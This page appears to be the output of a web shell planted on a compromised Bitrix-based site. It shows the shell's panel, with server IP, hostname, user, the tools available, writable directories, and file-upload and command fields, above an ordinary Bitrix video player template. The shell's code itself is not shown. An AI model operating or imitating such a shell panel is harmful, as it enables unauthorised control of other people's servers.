403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/player/templates/.default/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/player/templates/.default/template.php
<?
/** @var array $arResult */
/** @var array $arParams */

use Bitrix\Main\Web\Json;

if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true)
{
	die();
}

$tagName = $arResult['AUDIO_FILE'] === true ? 'audio' : 'video';
$className = "video-js ui-video-player ui-icon-set__scope {$arResult['SKIN_NAME']}";
if ($tagName === 'audio')
{
	$className .= " vjs-audio-only-mode";
}
?>

<<?=$tagName?> id="<?=$arResult["ID"]?>" class="<?=$className?>" width="<?=$arParams["WIDTH"]?>" height="<?=$arParams["HEIGHT"]?>"<?
if(($arParams["MUTE"] ?? null) === "Y")
{
	echo " muted";
}
?>>
<? if ($arParams["USE_PLAYLIST"] !== 'Y' && !$arResult['YOUTUBE'] && !$arResult['LAZYLOAD']):?>
	<source src="<?=$arResult['PATH']?>" type="<?=$arResult['FILE_TYPE']?>">
<? endif ?>
</<?=$tagName?>>
<script>
(function() {
	const params = <?=Json::encode($arResult["VIDEOJS_PARAMS"])?>;
	params.isAudio = <?=Json::encode($arResult['AUDIO_FILE'])?>;

	const init = () => {
		const player = new BX.UI.VideoPlayer.Player('<?=$arResult['ID']?>', params);
		if(!player.lazyload)
		{
			player.init();
		}
	};

	if (BX.Reflection.getClass('BX.UI.VideoPlayer.Player') !== null)
	{
		init();
	}
	else
	{
		BX.Runtime.loadExtension('ui.video-player').then(() => {
			init();
		});
	}
})();
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit